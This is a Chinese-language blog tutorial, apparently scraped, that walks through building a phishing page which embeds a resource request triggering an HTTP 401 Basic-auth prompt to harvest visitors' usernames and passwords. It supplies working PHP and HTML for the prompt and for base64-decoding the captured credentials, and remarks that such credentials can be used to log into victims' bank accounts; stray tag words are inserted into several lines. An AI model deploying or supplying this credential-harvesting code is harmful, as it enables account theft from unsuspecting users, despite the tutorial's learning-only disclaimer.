雖然這篇文章的標題是一塊兒來寫個釣魚的站點,可是但願僅僅把它看成飯後的談資就好,切不可在實際生活中真正的使用。否則,網絡警察到你家查你水錶的時候,我可不負責任啊。而實際上要真心作到對應的效果很難,只是做爲安全知識的入門學習。
閒話少說,仍是直接進入主題吧。這裏是須要實現的一些工具的清單:javascript
工具都準備穩當了,那麼就直奔主題了哦。老司機要開車了,要坐好扶穩了。
在Web中釣魚的方式有不少方式,不過這個名字仍是源自生活,此時聯想到在長江邊垂釣的場景,滾滾長江東逝水...。
萬事俱備只欠東風,工具都準備好了,如今還缺的就是魚了。魚從哪裏來,天然就是從受害者身上謀取啦。而這裏咱們利用1種401認證的方式來釣魚。php
首先,咱們新建1個index.php
的腳本,其內容相似以下:html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>首頁</title> </head> <body> <h1>首頁</h1> <script type="text/javascript" src="test.php"></script> </body> </html>
內容簡單的很,實際上真正有用的就是這麼一行:前端
<script type="text/javascript" src="test.php"></script>
咱們使用腳本的方式異步請求php的1個腳本。搞技術的要求能觸類旁通,我見過一些信息安全人員,除了會寫POC外和使用一些工具外,對應的原理是一竅不懂的。甚至爲何能夠這樣作是一問三不知的。
不少人覺得黑客是羣很聰明的人,實際否則,不排除這裏面有一些所謂的腳本小子,成天覆制搞破壞的。
閒外話仍是少說,若是你以爲上面的script標籤有點礙眼,你徹底能夠換,好比換成link、img等標籤徹底都是能夠的。這就是觸類旁通的能力吧,畢竟真實場景中不多有恰好就那麼巧能夠被利用的。
而test.php
中的內容相似以下:java
<?php if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){ session_start(); $value = $_SERVER['HTTP_AUTHORIZATION']; $admin = base64_decode(substr($value, 6)); $_SESSION['info'] = $admin; }else{ header("Content-type: text/html; charset=utf-8"); header('WWW-Authenticate: Basic realm="Please enter your username and password!"'); }
咱們判斷當前服務器中是否存在鍵名HTTP_AUTHORIZATION
,若是不存在則直接拋出1個401的認證請求頭。而瀏覽器獲取到該401狀態後,會自動彈出1個對話框要求使用者輸入用戶名和密碼。
若是使用者按照咱們劇情的安排輸入了用戶名和密碼,那麼咱們就成功釣到了1條(人)魚。
須要注意的是,這裏咱們使用的是Basci認證,而不是HTTP中另1個Digest的認證。否則到時傳遞過來的是MD5的結果,還須要花費時間解密,得不償失。
眼尖的你可能發現,咱們使用的是Base64解碼函數base64_decode
。沒錯,Basic認證的用戶名和密碼會使用Base64進行編碼,直接獲取到其內容進行解碼便可,是否是很簡單。
在這裏,咱們將其存入到session中,以即可以在前端顯示,這樣就能夠看到效果了。而更多狀況下,是直接存儲到文件或數據庫中,接着搞很差就拿着這些帳號去登陸你的銀行卡。
爲了看出效果,咱們在index.php
中添加以下幾行代碼:數據庫
<?php session_start(); if(array_key_exists("info",$_SESSION)){ $value = $_SESSION['info']; var_dump($value); } ?>
下面是演示的效果過程,首先是訪問首頁: 瀏覽器
而後入套,輸入本身的用戶名和密碼: 安全
魚上鉤了,被釣了起來: 服務器
看到,你可能會罵娘了。這麼簡單的東西,搞得這麼神祕兮兮。
實際上,原理的東西老是很簡單的,重要是組合利用。若是讓本身隱匿的更深一些,還有更具誘惑性才能讓獵物上鉤。而釣魚的過程不就是利用以下幾個切入點:網絡
結果魚就上鉤了。而人之因此會被釣的過程主要仍是以下幾個狀況:
固然不排除還有其餘一些狀況,實在想不出來了,腦洞過小。 固然上面這麼醜陋的網站,百分百是釣不到魚的。